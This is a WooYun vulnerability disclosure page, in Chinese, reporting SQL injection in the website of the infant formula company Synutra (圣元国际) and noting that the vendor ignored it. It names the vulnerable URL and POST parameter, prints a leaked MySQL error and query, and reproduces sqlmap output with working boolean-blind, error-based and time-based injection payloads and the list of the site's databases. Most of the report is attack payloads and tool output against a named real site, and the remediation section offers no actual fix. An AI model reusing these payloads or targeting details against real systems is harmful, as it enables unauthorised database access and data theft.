当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-047498

漏洞标题:我国奶粉后台之圣元国际SQL注入

相关厂商:圣元国际

漏洞作者: caspar

提交时间:2013-12-31 12:04

修复时间:2014-02-14 12:05

公开时间:2014-02-14 12:05

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:7

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-31: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-02-14: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

圣元国际SQL注入

详细说明:

url:http://www.shengyuan.com/index.php/web_api/articleHDList/0
key 是注入点

发生了一个数据库错误
Error Number: 1064
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' or article_body like '%11111'%')' at line 1
select count(article_id) as total from shengyuan_article where showFlag='1' and (article_cat_id='7' or article_cat_id='8' or article_cat_id='11') and (article_title like '%11111'%' or article_body like '%11111'%')


sqlmap identified the following injection points with a total of 222 HTTP(s) requests:
---
Place: POST
Parameter: key
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: key=%E6%90%9C%E7%B4%A2%E8%B5%84%E8%AE%AF') RLIKE IF(1686=1686,0x254536253930253943254537254234254132254538254235253834254538254145254146,0x28) AND ('vKkM'='vKkM
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: key=%E6%90%9C%E7%B4%A2%E8%B5%84%E8%AE%AF') AND (SELECT 6775 FROM(SELECT COUNT(*),CONCAT(0x7178726e71,(SELECT (CASE WHEN (6775=6775) THEN 1 ELSE 0 END)),0x716a6d7271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('YVOF'='YVOF
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 OR time-based blind
Payload: key=-6802') OR 8062=SLEEP(5) AND ('dMCZ'='dMCZ
---
web server operating system: Windows or Linux CentOS or 7 5.8
web application technology: Apache 2.2.3, PHP 5.1.6
back-end DBMS: MySQL 5.0
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: key
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: key=%E6%90%9C%E7%B4%A2%E8%B5%84%E8%AE%AF') RLIKE IF(1686=1686,0x254536253930253943254537254234254132254538254235253834254538254145254146,0x28) AND ('vKkM'='vKkM
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: key=%E6%90%9C%E7%B4%A2%E8%B5%84%E8%AE%AF') AND (SELECT 6775 FROM(SELECT COUNT(*),CONCAT(0x7178726e71,(SELECT (CASE WHEN (6775=6775) THEN 1 ELSE 0 END)),0x716a6d7271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('YVOF'='YVOF
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 OR time-based blind
Payload: key=-6802') OR 8062=SLEEP(5) AND ('dMCZ'='dMCZ
---
web server operating system: Windows or Linux CentOS or 7 5.8
web application technology: Apache 2.2.3, PHP 5.1.6
back-end DBMS: MySQL 5.0
available databases [6]:
[*] 2013mnpfc
[*] 2013shengyuanTPF
[*] information_schema
[*] mysql
[*] shengyuan
[*] test

漏洞证明:

见详细说明

修复方案:

看看有回应嘛~

版权声明:转载请注明来源 caspar@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝